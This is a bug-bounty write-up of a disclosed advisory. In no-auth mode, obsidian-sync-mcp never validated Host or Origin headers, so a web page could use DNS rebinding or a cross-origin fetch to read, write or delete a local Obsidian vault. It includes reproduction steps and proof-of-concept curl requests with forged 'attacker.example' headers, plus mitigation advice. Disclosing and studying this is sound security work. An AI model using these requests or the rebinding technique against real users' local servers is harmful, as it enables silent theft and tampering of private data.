# obsidian-sync-mcp: Missing Host/Origin validation lets a public website drive a victim's Obsidian vault via DNS rebinding (no-auth mode)

obsidian-sync-mcp in no-auth mode never validated Host/Origin, so a visited web page could DNS-rebind or cross-origin fetch loopback and read/write/delete the whole Obsidian vault.

- Payout: Research
- Severity: high
- Program: obsidian-sync-mcp
- Found by: eitanch228, yotampe-pluto
- Disclosed: 2026-11-19
- CVE: CVE-2026-77283
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mx6p-3fg7-v6pj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mx6p-3fg7-v6pj
- Tags: area:ai domain:ai domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:llm tech:nodejs technique:source-review vuln:access-control vuln:misconfiguration

**Target:** FastMCP HTTP MCP endpoint (/mcp) on loopback
**Root cause:** In no-auth mode serverOptions.authenticate was never installed, so FastMCP dispatched every request without any per-request Host or Origin validation; the 'local network only' assumption was never enforced.
**Steps:**
1. Start no-auth server: `VAULT_PATH=/tmp/demo-vault HOST=127.0.0.1 PORT=8787 npx tsx src/main.ts`
2. Send initialize with forged headers: `curl -s -i http://127.0.0.1:8787/mcp -H "Host: attacker.example" -H "Origin: http://attacker.example" -H "Content-Type: application/json" -H "Accept: application/json, text/event-stream" -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'`
3. Observe HTTP 200 with no Authorization header; follow up with tools/call write_note to create a file in the vault
4. Variant 2: same request with `Host: 127.0.0.1:8787` and `Origin: http://attacker.example` also returns 200 in <=0.5.6 (403 in 0.5.7)
5. Confirm server with MCP_AUTH_TOKEN set returns HTTP 401 for the same sequence
**How found:** Noted that no-auth mode installs no authenticate hook and that neither server, fastmcp nor mcp-proxy inspected Host/Origin; then reasoned that the 'local only' assumption fails for browser-delivered requests, testing both a forged-Host rebinding request and a genuine-loopback-Host/attacker-Origin request against the wildcard CORS transport.
**Exploitation:** Attacker page uses DNS rebinding so its hostname resolves to 127.0.0.1 (or LAN/VPN/Docker-published address), then JS fetch()es /mcp; the server treats it as a trusted local call and the wildcard ACAO:* exposes responses. Alternatively a direct cross-origin fetch to http://127.0.0.1:<port>/mcp needs no rebinding. Full tool surface (read_note, write_note, edit_note, delete_note, move_note, list_notes, list_folders, list_tags, get_note_metadata) is reachable, silently reading and mutating the vault.
**Escalation:** Same code path applies in CouchDB/Self-hosted LiveSync mode, extending reach to vault content stored in CouchDB.
**Insight:** For local MCP/dev servers, the wildcard `Access-Control-Allow-Origin: *` plus a loopback bind is itself an attack surface: a page can fetch http://127.0.0.1:<port> directly with a real loopback Host, so an Origin allowlist is needed even when DNS rebinding is blocked. Check whether auth hooks are actually installed rather than merely configurable.

## Proof of concept (copied exactly from the original report)

**Forged Host/Origin curl reaches MCP tools**

```
curl -s -i http://127.0.0.1:8787/mcp \
  -H "Host: attacker.example" -H "Origin: http://attacker.example" \
  -H "Content-Type: application/json" -H "Accept: application/json, text/event-stream" \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
# -> HTTP 200; a follow-up tools/call to write_note creates a file in the vault, no Authorization header.
```

**Loopback Host with attacker Origin variant**

```
curl -s -i http://127.0.0.1:8787/mcp \
  -H "Host: 127.0.0.1:8787" -H "Origin: http://attacker.example" \
  -H "Content-Type: application/json" -H "Accept: application/json, text/event-stream" \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
```

